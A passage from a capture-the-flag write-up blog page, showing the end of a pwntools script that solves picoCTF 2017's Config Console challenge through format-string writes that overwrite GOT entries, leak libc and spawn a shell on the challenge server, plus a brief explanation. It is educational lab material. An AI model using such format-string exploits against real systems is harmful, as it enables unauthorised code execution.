<span class="n">addr_part_3</span> <span class="o">=</span> <span class="p">(</span><span class="n">system_addr</span> <span class="o">>></span> <span class="mi">32</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFFFF</span>
<span class="n">format_s3</span> <span class="o">=</span><span class="s2">"%</span><span class="si">{0}</span><span class="s2">c|%17$hn|"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">addr_part_3</span><span class="p">)</span> <span class="o">-</span> <span class="mi">5</span><span class="p">)</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601210</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span> <span class="c1">#modify address we put</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_s3</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span>
<span class="c1">#gdb.attach(r)</span>
<span class="k">def</span> <span class="nf">leak_address_from_got</span><span class="p">(</span><span class="n">address</span><span class="p">,</span> <span class="n">r</span><span class="p">):</span>
<span class="n">format_string_5</span> <span class="o">=</span> <span class="s2">"|%16$s|"</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">address</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_string_5</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'|'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">res</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span><span class="p">)))</span>
<span class="k">def</span> <span class="nf">explore_stack</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_string_1</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">os</span> <span class="o">=</span> <span class="s1">'linux'</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"terminator"</span><span class="p">,</span> <span class="s2">"-e"</span><span class="p">]</span>
<span class="c1">#r = process(['./console', 'log'], env=env)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'shell2017.picoctf.com'</span><span class="p">,</span> <span class="mi">11496</span><span class="p">)</span>
<span class="n">overwrite_exit</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="n">fgets_address</span> <span class="o">=</span> <span class="n">leak_address_from_got</span><span class="p">(</span><span class="n">fgets_got</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"fgets: "</span><span class="p">,</span> <span class="n">fgets_address</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">fgets_address</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="n">fgets_offset</span>
<span class="nb">print</span> <span class="s2">"libc base address: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span>
<span class="n">system_address</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">system_offset</span>
<span class="nb">print</span> <span class="s2">"system address: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">system_address</span><span class="p">)</span>
<span class="n">overwrite_strlen</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">system_address</span><span class="p">)</span>
<span class="c1">#explore_stack(r)</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">r</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> <span class="c1">#p /bin/sh</span>
</code></pre></div>
<p><img alt="flag" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_8_8_ConfigConsole.png"></p>
<p>We have overwritten <code>strlen</code> address in three 16 bit writes (64 bit systems use only 48 bits for addresses). Another thing to note is that although ASLR is not enabled on binary, the system uses it which causes the address of libc functions to change, so we had to leak libc base.</p>
</div>
<footer class="text-right">
<p>- F3real</p>
</footer>
<div id="show-comments" class="span7 text-center">
<a href="https://f3real.github.io/picoCTF_lvl3ConfigConsole.html#disqus_thread"
data-disqus-identifier="picoCTF_lvl3ConfigConsole"
class="btn btn-primary twitchy-background">Show Comments</a>
</div>
<section id="comments" class="comments hidden">
<hr/>
<h2>Comments</h2>
<div id="disqus_thread"></div>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by
Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</div>
</article>
</section>
<footer>
<hr>
<div class="row">
<div class="col-lg-10 text-center">
<p><small>
Built by <a href="http://docs.getpelican.com/en/latest">Pelican</a> / <a href="https://github.com/F3real/pelican-twitchy">pelican-twitchy</a>
· © 2024 F3real
</small></p>
</div>
</div>
</footer> </div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
<!-- disqus -->
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'https-f3real-github-io'; // required: replace example with your forum shortname
var disqus_identifier = 'picoCTF_lvl3ConfigConsole';
var disqus_url = 'https://f3real.github.io/picoCTF_lvl3ConfigConsole.html';
var disqus_config = function () {
this.language = "en";
};
var commentsDiv = document.getElementById('show-comments');
commentsDiv.onclick = function() {
/* * * DON'T EDIT BELOW THIS LINE * * */
(function () {
var dsq = document.createElement('script');
dsq.type = 'text/javascript';
dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
this.style.display = 'none';
};
</script>
<!-- /disqus -->
<script>
const wrapper = document.getElementById('wrapper');
const sidebarBig = document.getElementById('sidebar-wrapper');
const sidebarSmall = document.getElementById('sidebar-wrapper-small');
const triggers = Array.from(document.querySelectorAll('[data-toggle="collapse"]'));
for (var i = 0; i < triggers.length; i++) {
triggers[i].addEventListener('click', (ev) => {
const elm = ev.currentTarget;
ev.preventDefault();
const selector = elm.getAttribute('href').replace('#','');
elm.classList.toggle('collapsed');
document.getElementById(selector).classList.toggle('show');
}, false);
}
function showBigNav() {;
sidebarBig.style.display = 'block';
sidebarSmall.style.display = 'none';
}
function showSmallNav() {
sidebarBig.style.display = 'none';
sidebarSmall.style.display = 'block';
}
const mediaQuery = window.matchMedia('(min-width:768px)');
mediaQuery.onchange = e => {
if (wrapper.classList.contains('toggled')) {
wrapper.classList.remove('toggled');
} else {
if (e.matches) {
showBigNav();
} else {
showSmallNav();
}
}
}
function setNavbar() {
var condition = wrapper.classList.contains('toggled');
if (!mediaQuery.matches) {
condition = !condition;
}
if (condition) {
showSmallNav();
} else {
showBigNav();
}
}
function toggleMenu(){
wrapper.classList.toggle('toggled');
setNavbar();
}
window.onload = setNavbar;
</script>
<script data-goatcounter="https://f3real.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
</body>
</html>